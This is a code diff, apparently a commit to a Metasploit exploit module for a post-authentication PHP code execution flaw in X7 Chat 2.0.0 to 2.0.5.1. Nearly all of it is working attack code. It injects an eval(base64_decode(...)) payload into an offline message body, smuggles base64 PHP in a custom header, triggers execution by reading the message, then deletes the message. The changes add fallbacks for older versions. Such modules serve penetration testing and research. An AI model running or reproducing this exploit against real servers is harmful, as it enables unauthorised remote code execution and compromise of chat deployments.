@@ -15,8 +15,9 @@ def initialize(info = {})
1515 super ( update_info ( info ,
1616 'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
1717 'Description' => %q{
18- Library lib/message.php for X7 Chat versions 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
19- This allows execute PHP code in the remote machine.
18+ This module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1.
19+ Library lib/message.php uses preg_replace() function with the /e modifier.
20+ This allows a remote authenticated attacker to execute PHP code in the remote machine.
2021 } ,
2122 'License' => MSF_LICENSE ,
2223 'Author' =>
@@ -50,20 +51,20 @@ def check
5051
5152 def exec_php ( php_code , check = false )
5253
53- cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
54- cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD' ] ) } "
55- rand_text = Rex ::Text . rand_text_alpha ( 5 , 8 )
56-
57- # remove comments, line breaks and spaces
58- praw = php_code . gsub ( /(\s +)|(#.*)/ , '' )
54+ # remove comments, line breaks and spaces of php_code
55+ pclean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
5956
60- # clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals)
61- while Rex ::Text . encode_base64 ( praw ) =~ /==/ || Rex :: Text . encode_base64 ( praw ) =~ /=/
62- praw = "#{ praw } "
57+ # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
58+ while Rex ::Text . encode_base64 ( pclean ) =~ /=/
59+ pclean = "#{ pclean } "
6360 end
61+ pb64 = Rex ::Text . encode_base64 ( pclean )
6462
65- pb64 = Rex ::Text . encode_base64 ( praw )
63+ cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
64+ cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD' ] ) } "
65+ rand_text = Rex ::Text . rand_text_alpha_upper ( 5 , 8 )
6666
67+ print_status ( "Trying for version 2.0.2 up to 2.0.5.1" )
6768 print_status ( "Sending offline message (#{ rand_text } ) to #{ datastore [ 'USERNAME' ] } ..." )
6869 res = send_request_cgi ( {
6970 'method' => 'GET' ,
@@ -72,26 +73,56 @@ def exec_php(php_code, check = false)
7273 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
7374 } ,
7475 'vars_get' => {
75- 'act' => 'userpanel' ,
76+ # value compatible with 2.0.2 up to 2.0.5.1
77+ 'act' => 'user_cp' ,
7678 'cp_page' => 'msgcenter' ,
7779 'to' => datastore [ 'USERNAME' ] ,
7880 'subject' => rand_text ,
79- 'body' => "#{ rand_text } www.${eval(base64_decode(getallheaders()[ #{ rand_text } ]))}.c#{ rand_text } " ,
81+ 'body' => "#{ rand_text } www.{ ${eval(base64_decode($_SERVER[HTTP_ #{ rand_text } ]))} }.c#{ rand_text } " ,
8082 }
8183 } )
8284
83- if res && res . code == 200
84- print_good ( "Message (#{ rand_text } ) sent successfully" )
85- else
85+ if !res || res . code != 200
8686 print_error ( "Sending the message (#{ rand_text } ) has failed" )
8787 return
8888 end
8989
90- if res && res . body =~ /([0-9]*)">#{ rand_text } /
90+ if res . body =~ /([0-9]*)">#{ rand_text } /
9191 message_id = Regexp . last_match [ 1 ]
92+ userpanel = 'user_cp'
9293 else
9394 print_error ( "Could not find message (#{ rand_text } ) in the message list" )
94- return
95+
96+ print_status ( "Retrying for version 2.0.0 up to 2.0.1 a1" )
97+ print_status ( "Sending offline message (#{ rand_text } ) to #{ datastore [ 'USERNAME' ] } ..." )
98+ res = send_request_cgi ( {
99+ 'method' => 'GET' ,
100+ 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
101+ 'headers' => {
102+ 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
103+ } ,
104+ 'vars_get' => {
105+ # value compatible with 2.0.0 up to 2.0.1 a1
106+ 'act' => 'usercp' ,
107+ 'cp_page' => 'msgcenter' ,
108+ 'to' => datastore [ 'USERNAME' ] ,
109+ 'subject' => rand_text ,
110+ 'body' => "#{ rand_text } www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text } ]))}}.c#{ rand_text } " ,
111+ }
112+ } )
113+
114+ if !res || res . code != 200
115+ print_error ( "Sending the message (#{ rand_text } ) has failed" )
116+ return
117+ end
118+
119+ if res . body =~ /([0-9]*)">#{ rand_text } /
120+ message_id = Regexp . last_match [ 1 ]
121+ userpanel = 'usercp'
122+ else
123+ print_error ( "Could not find message (#{ rand_text } ) in the message list" )
124+ return
125+ end
95126 end
96127
97128 print_status ( "Accessing message (#{ rand_text } )" )
@@ -104,9 +135,9 @@ def exec_php(php_code, check = false)
104135 rand_text => pb64 ,
105136 } ,
106137 'vars_get' => {
107- 'act' => ' userpanel' ,
138+ 'act' => userpanel ,
108139 'cp_page' => 'msgcenter' ,
109- 'read' => message_id ,
140+ 'read' => message_id ,
110141 }
111142 } )
112143
@@ -120,9 +151,9 @@ def exec_php(php_code, check = false)
120151 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
121152 } ,
122153 'vars_get' => {
123- 'act' => ' userpanel' ,
154+ 'act' => userpanel ,
124155 'cp_page' => 'msgcenter' ,
125- 'delete' => message_id ,
156+ 'delete' => message_id ,
126157 }
127158 } )
128159
0 commit comments